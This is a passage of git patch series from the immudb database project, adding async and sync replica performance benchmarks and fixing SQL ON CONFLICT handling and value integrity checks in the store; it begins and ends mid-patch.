Workers: 30, + BatchSize: 1, + KeySize: 32, + ValueSize: 128, + AsyncWrite: true, + Replica: true, + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write KV/s - one async replica", + Workers: 30, + BatchSize: 1000, + KeySize: 32, + ValueSize: 128, + AsyncWrite: true, + Replica: true, }), } } From 873b31e6f5a9757c8ae5995aeeacd7043ba18b10 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 1 Feb 2023 10:22:54 -0300 Subject: [PATCH 0222/1062] test(test/performance): extend with sync replicas Signed-off-by: Marco Sanchotene --- .../pkg/benchmarks/writetxs/benchmark.go | 31 ++++++++++++++++--- .../pkg/runner/benchmarks.go | 28 ++++++++++++++--- 2 files changed, 50 insertions(+), 9 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index ef06d112f6..3eb4d09ea0 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -47,7 +47,7 @@ type Config struct { KeySize int ValueSize int AsyncWrite bool - Replica bool + Replica string } type benchmark struct { @@ -132,19 +132,40 @@ func (b *benchmark) Warmup() error { return err } - if b.cfg.Replica { - const replicaDirName = "replica-tx-test" + if b.cfg.Replica == "async" { + const replicaDirName = "async-replica-tx-test" replicaOptions := server. ReplicationOptions{} - options_2 := server. + options2 := server. DefaultOptions(). WithDir(replicaDirName). WithLogFormat(logger.LogFormatJSON). WithReplicationOptions(replicaOptions.WithIsReplica(true)) - b.replicaServer = servertest.NewBufconnServer(options_2) + b.replicaServer = servertest.NewBufconnServer(options2) + b.replicaServer.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) + + err = b.replicaServer.Start() + if err != nil { + return err + } + } + + if b.cfg.Replica == "sync" { + const replicaDirName = "sync-replica-tx-test" + + replicaOptions := server. + ReplicationOptions{} + + options2 := server. + DefaultOptions(). + WithDir(replicaDirName). + WithLogFormat(logger.LogFormatJSON). + WithReplicationOptions(replicaOptions.WithIsReplica(true).WithSyncReplication(true)) + + b.replicaServer = servertest.NewBufconnServer(options2) b.replicaServer.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) err = b.replicaServer.Start() diff --git a/test/performance-test-suite/pkg/runner/benchmarks.go b/test/performance-test-suite/pkg/runner/benchmarks.go index a93f0a649c..a1f68ef0c8 100644 --- a/test/performance-test-suite/pkg/runner/benchmarks.go +++ b/test/performance-test-suite/pkg/runner/benchmarks.go @@ -30,7 +30,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { KeySize: 32, ValueSize: 128, AsyncWrite: true, - Replica: false, + Replica: "", }), writetxs.NewBenchmark(writetxs.Config{ @@ -40,7 +40,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { KeySize: 32, ValueSize: 128, AsyncWrite: true, - Replica: false, + Replica: "", }), writetxs.NewBenchmark(writetxs.Config{ @@ -50,7 +50,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { KeySize: 32, ValueSize: 128, AsyncWrite: true, - Replica: true, + Replica: "async", }), writetxs.NewBenchmark(writetxs.Config{ @@ -60,7 +60,27 @@ func getBenchmarksToRun() []benchmarks.Benchmark { KeySize: 32, ValueSize: 128, AsyncWrite: true, - Replica: true, + Replica: "async", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write TX/s - one sync replica", + Workers: 30, + BatchSize: 1, + KeySize: 32, + ValueSize: 128, + AsyncWrite: true, + Replica: "sync", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write KV/s - one sync replica", + Workers: 30, + BatchSize: 1000, + KeySize: 32, + ValueSize: 128, + AsyncWrite: true, + Replica: "sync", }), } } From 3b68650468ed796f926cfb71df78ccf9c7e3117b Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 1 Feb 2023 11:02:53 -0300 Subject: [PATCH 0223/1062] test(test/performance): reduce duplicated code Signed-off-by: Marco Sanchotene --- .../pkg/benchmarks/writetxs/benchmark.go | 32 ++++++------------- 1 file changed, 10 insertions(+), 22 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 3eb4d09ea0..7740458d61 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -132,8 +132,8 @@ func (b *benchmark) Warmup() error { return err } - if b.cfg.Replica == "async" { - const replicaDirName = "async-replica-tx-test" + if b.cfg.Replica == "async" || b.cfg.Replica == "sync" { + replicaDirName := fmt.Sprintf("%s-replica-tx-test", b.cfg.Replica) replicaOptions := server. ReplicationOptions{} @@ -141,29 +141,17 @@ func (b *benchmark) Warmup() error { options2 := server. DefaultOptions(). WithDir(replicaDirName). - WithLogFormat(logger.LogFormatJSON). - WithReplicationOptions(replicaOptions.WithIsReplica(true)) + WithLogFormat(logger.LogFormatJSON) - b.replicaServer = servertest.NewBufconnServer(options2) - b.replicaServer.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) - - err = b.replicaServer.Start() - if err != nil { - return err + if b.cfg.Replica == "async" { + options2. + WithReplicationOptions(replicaOptions.WithIsReplica(true)) } - } - - if b.cfg.Replica == "sync" { - const replicaDirName = "sync-replica-tx-test" - replicaOptions := server. - ReplicationOptions{} - - options2 := server. - DefaultOptions(). - WithDir(replicaDirName). - WithLogFormat(logger.LogFormatJSON). - WithReplicationOptions(replicaOptions.WithIsReplica(true).WithSyncReplication(true)) + if b.cfg.Replica == "sync" { + options2. + WithReplicationOptions(replicaOptions.WithIsReplica(true).WithSyncReplication(true)) + } b.replicaServer = servertest.NewBufconnServer(options2) b.replicaServer.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) From 98e7227c46482d2044dcd3d4386a534cb0cc8159 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Fri, 3 Feb 2023 15:22:24 -0300 Subject: [PATCH 0224/1062] test(test/performance): add configuration to replica Signed-off-by: Marco Sanchotene --- .../pkg/benchmarks/writetxs/benchmark.go | 40 ++++++++++++++----- .../pkg/runner/benchmarks.go | 4 +- 2 files changed, 33 insertions(+), 11 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 7740458d61..1f8ea15665 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -122,7 +122,18 @@ func (b *benchmark) Warmup() error { options := server. DefaultOptions(). WithDir(dirName). - WithLogFormat(logger.LogFormatJSON) + WithLogFormat(logger.LogFormatJSON). + WithLogfile("./immudb.log") + + replicaOptions := server.ReplicationOptions{} + + if b.cfg.Replica == "async" { + options.WithReplicationOptions(replicaOptions.WithIsReplica(false)) + } + + if b.cfg.Replica == "sync" { + options.WithReplicationOptions(replicaOptions.WithIsReplica(false).WithSyncReplication(true).WithSyncAcks(1)) + } b.server = servertest.NewBufconnServer(options) b.server.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) @@ -135,22 +146,33 @@ func (b *benchmark) Warmup() error { if b.cfg.Replica == "async" || b.cfg.Replica == "sync" { replicaDirName := fmt.Sprintf("%s-replica-tx-test", b.cfg.Replica) - replicaOptions := server. - ReplicationOptions{} - options2 := server. DefaultOptions(). WithDir(replicaDirName). - WithLogFormat(logger.LogFormatJSON) + WithLogFormat(logger.LogFormatJSON). + WithLogfile("./replica.log") + + options2.PgsqlServer = false + options2.MetricsServer = false + options2.WebServer = false + + replicaOptions2 := server.ReplicationOptions{} + + replicaOptions2.PrimaryHost = "127.0.0.0" + replicaOptions2.PrimaryPort = b.server.GetPort() + replicaOptions2.PrimaryUsername = "immudb" + replicaOptions2.PrimaryPassword = "immudb" + replicaOptions2.PrefetchTxBufferSize = 1000 + replicaOptions2.ReplicationCommitConcurrency = 100 if b.cfg.Replica == "async" { - options2. - WithReplicationOptions(replicaOptions.WithIsReplica(true)) + options2.WithReplicationOptions(replicaOptions2.WithIsReplica(true)) } if b.cfg.Replica == "sync" { - options2. - WithReplicationOptions(replicaOptions.WithIsReplica(true).WithSyncReplication(true)) + replicaOptions2 = *replicaOptions2.WithIsReplica(true).WithSyncReplication(true) + + options2.WithReplicationOptions(&replicaOptions2) } b.replicaServer = servertest.NewBufconnServer(options2) diff --git a/test/performance-test-suite/pkg/runner/benchmarks.go b/test/performance-test-suite/pkg/runner/benchmarks.go index a1f68ef0c8..ce71b794ec 100644 --- a/test/performance-test-suite/pkg/runner/benchmarks.go +++ b/test/performance-test-suite/pkg/runner/benchmarks.go @@ -24,7 +24,7 @@ import ( func getBenchmarksToRun() []benchmarks.Benchmark { return []benchmarks.Benchmark{ writetxs.NewBenchmark(writetxs.Config{ - Name: "Write TX/s - single server", + Name: "Write TX/s - no replicas", Workers: 30, BatchSize: 1, KeySize: 32, @@ -34,7 +34,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write KV/s - single server", + Name: "Write KV/s - no replicas", Workers: 30, BatchSize: 1000, KeySize: 32, From 911f0f2e8593c32ac5e7c35ad5e7286198f7cc21 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Feb 2023 15:40:09 -0300 Subject: [PATCH 0225/1062] chore(test/performance-test-suite): changed server concrete implementation Signed-off-by: Jeronimo Irazabal --- .../pkg/benchmarks/writetxs/benchmark.go | 73 ++++++++++++------- 1 file changed, 45 insertions(+), 28 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 1f8ea15665..08a053fe9e 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -21,6 +21,7 @@ import ( "crypto/sha256" "fmt" "log" + "net" "os" "sync" "sync/atomic" @@ -30,7 +31,6 @@ import ( "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/server" - "github.com/codenotary/immudb/pkg/server/servertest" "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks" ) @@ -65,8 +65,8 @@ type benchmark struct { m sync.Mutex - server *servertest.BufconnServer - replicaServer *servertest.BufconnServer + primaryServer *server.ImmuServer + replicaServer *server.ImmuServer clients []client.ImmuClient } @@ -119,64 +119,75 @@ func (b *benchmark) Warmup() error { } defer os.RemoveAll(dirName) - options := server. + primaryServerOpts := server. DefaultOptions(). WithDir(dirName). + WithPort(0). WithLogFormat(logger.LogFormatJSON). WithLogfile("./immudb.log") - replicaOptions := server.ReplicationOptions{} + primaryServerReplicaOptions := server.ReplicationOptions{} if b.cfg.Replica == "async" { - options.WithReplicationOptions(replicaOptions.WithIsReplica(false)) + primaryServerOpts.WithReplicationOptions(primaryServerReplicaOptions.WithIsReplica(false)) } if b.cfg.Replica == "sync" { - options.WithReplicationOptions(replicaOptions.WithIsReplica(false).WithSyncReplication(true).WithSyncAcks(1)) + primaryServerOpts.WithReplicationOptions(primaryServerReplicaOptions.WithIsReplica(false).WithSyncReplication(true).WithSyncAcks(1)) } - b.server = servertest.NewBufconnServer(options) - b.server.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) + b.primaryServer = server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) - err = b.server.Start() + err = b.primaryServer.Initialize() if err != nil { return err } + err = b.primaryServer.Start() + if err != nil { + return err + } + + primaryPort := b.primaryServer.Listener.Addr().(*net.TCPAddr).Port + if b.cfg.Replica == "async" || b.cfg.Replica == "sync" { replicaDirName := fmt.Sprintf("%s-replica-tx-test", b.cfg.Replica) - options2 := server. + replicaServerOptions := server. DefaultOptions(). WithDir(replicaDirName). WithLogFormat(logger.LogFormatJSON). WithLogfile("./replica.log") - options2.PgsqlServer = false - options2.MetricsServer = false - options2.WebServer = false + replicaServerOptions.PgsqlServer = false + replicaServerOptions.MetricsServer = false + replicaServerOptions.WebServer = false - replicaOptions2 := server.ReplicationOptions{} + replicaServerReplicaOptions := server.ReplicationOptions{} - replicaOptions2.PrimaryHost = "127.0.0.0" - replicaOptions2.PrimaryPort = b.server.GetPort() - replicaOptions2.PrimaryUsername = "immudb" - replicaOptions2.PrimaryPassword = "immudb" - replicaOptions2.PrefetchTxBufferSize = 1000 - replicaOptions2.ReplicationCommitConcurrency = 100 + replicaServerReplicaOptions.PrimaryHost = "127.0.0.0" + replicaServerReplicaOptions.PrimaryPort = primaryPort + replicaServerReplicaOptions.PrimaryUsername = "immudb" + replicaServerReplicaOptions.PrimaryPassword = "immudb" + replicaServerReplicaOptions.PrefetchTxBufferSize = 1000 + replicaServerReplicaOptions.ReplicationCommitConcurrency = 100 if b.cfg.Replica == "async" { - options2.WithReplicationOptions(replicaOptions2.WithIsReplica(true)) + replicaServerOptions.WithReplicationOptions(replicaServerReplicaOptions.WithIsReplica(true)) } if b.cfg.Replica == "sync" { - replicaOptions2 = *replicaOptions2.WithIsReplica(true).WithSyncReplication(true) + replicaServerReplicaOptions = *replicaServerReplicaOptions.WithIsReplica(true).WithSyncReplication(true) - options2.WithReplicationOptions(&replicaOptions2) + replicaServerOptions.WithReplicationOptions(&replicaServerReplicaOptions) } - b.replicaServer = servertest.NewBufconnServer(options2) - b.replicaServer.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) + b.replicaServer = server.DefaultServer().WithOptions(replicaServerOptions).(*server.ImmuServer) + + err = b.replicaServer.Initialize() + if err != nil { + return err + } err = b.replicaServer.Start() if err != nil { @@ -186,10 +197,13 @@ func (b *benchmark) Warmup() error { b.clients = []client.ImmuClient{} for i := 0; i < b.cfg.Workers; i++ { - c, err := b.server.NewAuthenticatedClient(client.DefaultOptions()) + c := client.NewClient().WithOptions(client.DefaultOptions().WithPort(primaryPort)) + + err = c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { return err } + b.clients = append(b.clients, c) } @@ -205,7 +219,10 @@ func (b *benchmark) Cleanup() error { } } - return b.server.Stop() + b.primaryServer.Stop() + b.replicaServer.Stop() + + return nil } func (b *benchmark) Run(duration time.Duration, seed uint64) (interface{}, error) { From bbffeb1faaa605c2bda7a22360851567eac54fae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Feb 2023 15:52:19 -0300 Subject: [PATCH 0226/1062] chore(test/performance-test-suite): replicas are able to communicate with primary Signed-off-by: Jeronimo Irazabal --- .../pkg/benchmarks/writetxs/benchmark.go | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 08a053fe9e..0fc99c9749 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -122,6 +122,9 @@ func (b *benchmark) Warmup() error { primaryServerOpts := server. DefaultOptions(). WithDir(dirName). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). WithPort(0). WithLogFormat(logger.LogFormatJSON). WithLogfile("./immudb.log") @@ -143,10 +146,11 @@ func (b *benchmark) Warmup() error { return err } - err = b.primaryServer.Start() - if err != nil { - return err - } + go func() { + b.primaryServer.Start() + }() + + time.Sleep(1 * time.Second) primaryPort := b.primaryServer.Listener.Addr().(*net.TCPAddr).Port @@ -156,6 +160,7 @@ func (b *benchmark) Warmup() error { replicaServerOptions := server. DefaultOptions(). WithDir(replicaDirName). + WithPort(0). WithLogFormat(logger.LogFormatJSON). WithLogfile("./replica.log") @@ -165,7 +170,7 @@ func (b *benchmark) Warmup() error { replicaServerReplicaOptions := server.ReplicationOptions{} - replicaServerReplicaOptions.PrimaryHost = "127.0.0.0" + replicaServerReplicaOptions.PrimaryHost = "127.0.0.1" replicaServerReplicaOptions.PrimaryPort = primaryPort replicaServerReplicaOptions.PrimaryUsername = "immudb" replicaServerReplicaOptions.PrimaryPassword = "immudb" @@ -189,10 +194,11 @@ func (b *benchmark) Warmup() error { return err } - err = b.replicaServer.Start() - if err != nil { - return err - } + go func() { + b.replicaServer.Start() + }() + + time.Sleep(1 * time.Second) } b.clients = []client.ImmuClient{} From ba2b9b3031f4819bdaf77b71e08f24a78d6a64e1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Feb 2023 16:14:48 -0300 Subject: [PATCH 0227/1062] chore(test/performance-test-suite): use temp folders for primary, replicas and clients Signed-off-by: Jeronimo Irazabal --- .../pkg/benchmarks/writetxs/benchmark.go | 26 ++++++++++++------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 0fc99c9749..d6c35c9a91 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -111,17 +111,16 @@ func (b *benchmark) Name() string { } func (b *benchmark) Warmup() error { - const dirName = "tx-test" - - err := os.RemoveAll(dirName) + primaryPath, err := os.MkdirTemp("", "tx-test-primary") if err != nil { return err } - defer os.RemoveAll(dirName) + + defer os.RemoveAll(primaryPath) primaryServerOpts := server. DefaultOptions(). - WithDir(dirName). + WithDir(primaryPath). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). @@ -155,11 +154,16 @@ func (b *benchmark) Warmup() error { primaryPort := b.primaryServer.Listener.Addr().(*net.TCPAddr).Port if b.cfg.Replica == "async" || b.cfg.Replica == "sync" { - replicaDirName := fmt.Sprintf("%s-replica-tx-test", b.cfg.Replica) + replicaPath, err := os.MkdirTemp("", fmt.Sprintf("%s-tx-test-replica", b.cfg.Replica)) + if err != nil { + return err + } + + defer os.RemoveAll(primaryPath) replicaServerOptions := server. DefaultOptions(). - WithDir(replicaDirName). + WithDir(replicaPath). WithPort(0). WithLogFormat(logger.LogFormatJSON). WithLogfile("./replica.log") @@ -175,7 +179,7 @@ func (b *benchmark) Warmup() error { replicaServerReplicaOptions.PrimaryUsername = "immudb" replicaServerReplicaOptions.PrimaryPassword = "immudb" replicaServerReplicaOptions.PrefetchTxBufferSize = 1000 - replicaServerReplicaOptions.ReplicationCommitConcurrency = 100 + replicaServerReplicaOptions.ReplicationCommitConcurrency = 30 if b.cfg.Replica == "async" { replicaServerOptions.WithReplicationOptions(replicaServerReplicaOptions.WithIsReplica(true)) @@ -203,7 +207,11 @@ func (b *benchmark) Warmup() error { b.clients = []client.ImmuClient{} for i := 0; i < b.cfg.Workers; i++ { - c := client.NewClient().WithOptions(client.DefaultOptions().WithPort(primaryPort)) + path, err := os.MkdirTemp("", "immudb_client") + if err != nil { + return err + } + c := client.NewClient().WithOptions(client.DefaultOptions().WithPort(primaryPort).WithDir(path)) err = c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { From 01dba932eb2a28e085b0b822ff166f6822c54d63 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Mon, 6 Feb 2023 11:34:15 -0300 Subject: [PATCH 0228/1062] chore(test/performance-test-suite): fix replica directory path Signed-off-by: Marco Sanchotene --- .../performance-test-suite/pkg/benchmarks/writetxs/benchmark.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index d6c35c9a91..87f026c2e9 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -159,7 +159,7 @@ func (b *benchmark) Warmup() error { return err } - defer os.RemoveAll(primaryPath) + defer os.RemoveAll(replicaPath) replicaServerOptions := server. DefaultOptions(). From 5b0968b50184bf44440557105dc1a10b14b99a4b Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Mon, 6 Feb 2023 11:45:30 -0300 Subject: [PATCH 0229/1062] chore(test/performance-test-suite): extract json from results Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 694d551baa..18063d235a 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -53,9 +53,10 @@ jobs: id: performance run: | SECONDS=0 - ./perf-test-suite $ARG_DURATION > perf-test-results.json + ./perf-test-suite $ARG_DURATION > perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV echo "version=$(cat Makefile | grep '\> $GITHUB_ENV + sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json - name: Upload test results uses: actions/upload-artifact@v3 with: From 46a756f8ff7b852bf0ef0781d2777f679d60fd94 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 9 Feb 2023 17:48:50 -0300 Subject: [PATCH 0230/1062] fix(embedded/sql): multi-row conflict handling Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 19 ++++++++++++++++++- embedded/sql/stmt.go | 2 +- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 3af4e622f4..b93402df8f 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -839,7 +839,7 @@ func TestInsertIntoEdgeCases(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (title)", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1 (title)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active)", nil) @@ -863,6 +863,23 @@ func TestInsertIntoEdgeCases(t *testing.T) { require.Nil(t, ctxs[0].TxHeader()) }) + t.Run("on conflict case with multiple rows", func(t *testing.T) { + ntx, ctxs, err := engine.Exec(context.Background(), nil, ` + INSERT INTO table1 (id, title, active, payload) + VALUES + (1, 'title1', true, x'00A1'), + (11, 'title11', true, x'00B1') + ON CONFLICT DO NOTHING`, nil) + require.NoError(t, err) + require.Nil(t, ntx) + require.Len(t, ctxs, 1) + require.Equal(t, 1, ctxs[0].UpdatedRows()) + require.NotNil(t, ctxs[0].TxHeader()) + + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title11', true, x'00B1')", nil) + require.ErrorIs(t, err, store.ErrKeyAlreadyExists) + }) + t.Run("varchar key cases", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title123456789', true, x'00A1')", nil) require.ErrorIs(t, err, ErrMaxLengthExceeded) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 5843bff9f7..fd57962865 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -692,7 +692,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st if err == nil && stmt.onConflict != nil { // TODO: conflict resolution may be extended. Currently only supports "ON CONFLICT DO NOTHING" - return tx, nil + continue } } From 030542a2b5defeb784ec9484958dfbabd35636eb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 6 Feb 2023 16:36:28 -0300 Subject: [PATCH 0231/1062] fix(embedded/store): integrity checks covering empty values Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 546e03298b..5762b2cad7 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2571,13 +2571,17 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s val, err := s.vLogCache.Get(off) if err == nil { // the requested value was found in the value cache - copy(b, val.([]byte)) + bval := val.([]byte) + n := len(bval) - if !skipIntegrityCheck && hvalue != sha256.Sum256(b) { - return len(b), ErrCorruptedData + copy(b, bval) + + // length is compared to cover the corner case where empty value is stored in the cache + if !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) { + return n, ErrCorruptedData } - return len(b), nil + return n, nil } else { if !errors.Is(err, cache.ErrKeyNotFound) { return 0, err @@ -2587,26 +2591,28 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s vLogID, offset := decodeOffset(off) - if vLogID > 0 { + if vLogID == 0 { + // vLogID == 0 means value was not stored on any vlog i.e. empty value + // integrity check may still be done in such case + n = 0 + } else { vLog := s.fetchVLog(vLogID) defer s.releaseVLog(vLogID) - n, err := vLog.ReadAt(b, offset) + n, err = vLog.ReadAt(b, offset) if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { return n, ErrAlreadyClosed } if err != nil { return n, err } + } - if !skipIntegrityCheck && hvalue != sha256.Sum256(b) { - return len(b), ErrCorruptedData - } - - return len(b), nil + if !skipIntegrityCheck && hvalue != sha256.Sum256(b[:n]) { + return n, ErrCorruptedData } - return 0, nil + return n, nil } func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { From c84c7c6a089c5d51d23c7969803cc8d784e26500 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 9 Feb 2023 11:06:02 -0300 Subject: [PATCH 0232/1062] chore(embedded/store): readValueAt and exportTx improvements Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 118 ++++++++++++++++++++++------------- embedded/store/key_reader.go | 9 +++ 2 files changed, 85 insertions(+), 42 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 5762b2cad7..254e62b8f0 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2057,7 +2057,8 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC } var isValueTruncated bool - for _, e := range tx.Entries() { + + for i, e := range tx.Entries() { var blen [lszSize]byte // kLen @@ -2101,39 +2102,53 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC return nil, err } - // if the error is eof, the value has been truncated, so we do not write the value bytes - if errors.Is(err, io.EOF) { - isValueTruncated = true - // vHashLen - binary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal))) + if err == nil { + if isValueTruncated { + // currently, either all the values are sent or none + return nil, fmt.Errorf("%w: partially truncated transaction", ErrCorruptedData) + } + + // vLen + binary.BigEndian.PutUint32(blen[:], uint32(e.vLen)) _, err = buf.Write(blen[:]) if err != nil { s._valBsMux.Unlock() return nil, err } - // vHash - _, err = buf.Write(e.hVal[:]) + // val + _, err = buf.Write(s._valBs[:e.vLen]) if err != nil { s._valBsMux.Unlock() return nil, err } } else { - // vLen - binary.BigEndian.PutUint32(blen[:], uint32(e.vLen)) + // error is eof, the value has been truncated, + // value is not available but digest is written instead + + if !isValueTruncated && i > 0 { + // currently, either all the values are sent or none + return nil, fmt.Errorf("%w: partially truncated transaction", ErrCorruptedData) + } + + isValueTruncated = true + + // vHashLen + binary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal))) _, err = buf.Write(blen[:]) if err != nil { s._valBsMux.Unlock() return nil, err } - // val - _, err = buf.Write(s._valBs[:e.vLen]) + // vHash + _, err = buf.Write(e.hVal[:]) if err != nil { s._valBsMux.Unlock() return nil, err } } + s._valBsMux.Unlock() } @@ -2192,6 +2207,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte txSpec.metadata = hdr.Metadata var entries []*EntrySpec = make([]*EntrySpec, 0) + for e := 0; e < hdr.NEntries; e++ { if len(exportedTx) < i+2*sszSize+lszSize { return nil, ErrIllegalArguments @@ -2553,6 +2569,11 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { } if entry.vLen == 0 { + // while not required, nil is returned instead of an empty slice + + // TODO: this step should be done after reading the value to ensure proper validations are made + // But current changes in ExportTx with truncated transactions are not providing the value length + // for truncated transactions, making it impossible to differentiate an empty value with a truncated one return nil, nil } @@ -2566,49 +2587,62 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { return b, nil } +// readValueAt fills b with the value referenced by off +// expected value size and digest may be required for validations to pass func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, skipIntegrityCheck bool) (n int, err error) { - if s.vLogCache != nil { - val, err := s.vLogCache.Get(off) - if err == nil { - // the requested value was found in the value cache - bval := val.([]byte) - n := len(bval) + vLogID, offset := decodeOffset(off) - copy(b, bval) + if vLogID == 0 && len(b) > 0 { + // it means value was not stored on any vlog i.e. a truncated transaction was replicated + return 0, io.EOF + } - // length is compared to cover the corner case where empty value is stored in the cache - if !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) { - return n, ErrCorruptedData - } + if vLogID > 0 { + foundInTheCache := false - return n, nil - } else { - if 